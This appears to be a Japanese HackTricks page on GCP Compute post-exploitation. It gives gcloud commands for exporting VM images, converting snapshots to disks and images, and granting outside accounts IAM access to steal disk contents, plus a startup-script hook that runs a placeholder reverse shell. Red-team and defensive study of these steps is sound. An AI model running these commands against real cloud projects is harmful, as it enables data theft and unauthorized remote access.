GCP - コンピュート ポストエクスプロイテーション

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

コンピュート

Compute と VPC (ネットワーキング) に関する詳細情報は、以下を確認してください:

GCP - Compute Enum

画像をローカルにエクスポートおよび検査する

これにより、攻撃者は既存の画像に含まれるデータにアクセスしたり、実行中の VM の新しい画像を作成して、そのデータにアクセスすることができます。実行中の VM にアクセスすることなく。

VM 画像をバケットにエクスポートし、その後ダウンロードしてローカルにマウントすることが可能です。

bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

このアクションを実行するには、攻撃者はストレージバケットに対する権限が必要であり、確実にcloudbuildに対する権限が必要です。これはサービスであり、エクスポートを実行するように求められます。
さらに、これが機能するためには、codebuild SAとcompute SAが特権的な権限を持っている必要があります。
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com は以下の権限が必要です:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

そして、SA <project-id>-compute@developer.gserviceaccount.com は以下の権限が必要です:

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin

スナップショットとディスクをローカルにエクスポートおよび検査する

スナップショットとディスクを直接エクスポートすることはできませんが、スナップショットをディスクに変換し、ディスクをイメージに変換することが可能であり、前のセクションに従って、そのイメージをエクスポートしてローカルで検査することができます。

bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

VMを作成して画像を検査する

攻撃者が画像を作成した場所から画像に保存されたデータ実行中のVMにアクセスすることを目的として、外部アカウントに画像へのアクセスを付与することが可能です:

bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

それから、それを元に新しいVMを作成します:

bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

外部アカウントに画像を介してアクセスを許可できない場合、被害者のプロジェクトでその画像を使用してVMを起動し、メタデータにリバースシェルを実行させることで、パラメータを追加して画像にアクセスできます。

bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

スナップショット/ディスクをVMにアタッチして検査する

ディスクまたはスナップショットに保存されたデータにアクセスすることを目的として、スナップショットをディスクに変換し、ディスクをイメージに変換し、前の手順に従うことができます。

または、外部アカウントにディスクへのアクセスを付与することができます(出発点がスナップショットの場合は、スナップショットへのアクセスを付与するか、そこからディスクを作成します):

bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

インスタンスにディスクをアタッチする:

bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

VM内にディスクをマウントします:

  1. VMにSSH接続
sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. ディスクを特定:VM内に入ったら、ディスクデバイスをリストして新しいディスクを特定します。通常、/dev/sdb/dev/sdcなどとして見つけることができます。
  2. ディスクをフォーマットしてマウント(新しいまたは生のディスクの場合):
  • マウントポイントを作成:
sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • ディスクをマウント:
sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

外部プロジェクトにスナップショットまたはディスクへのアクセスを与えることができない場合、スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらのアクションを実行する必要があるかもしれません

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする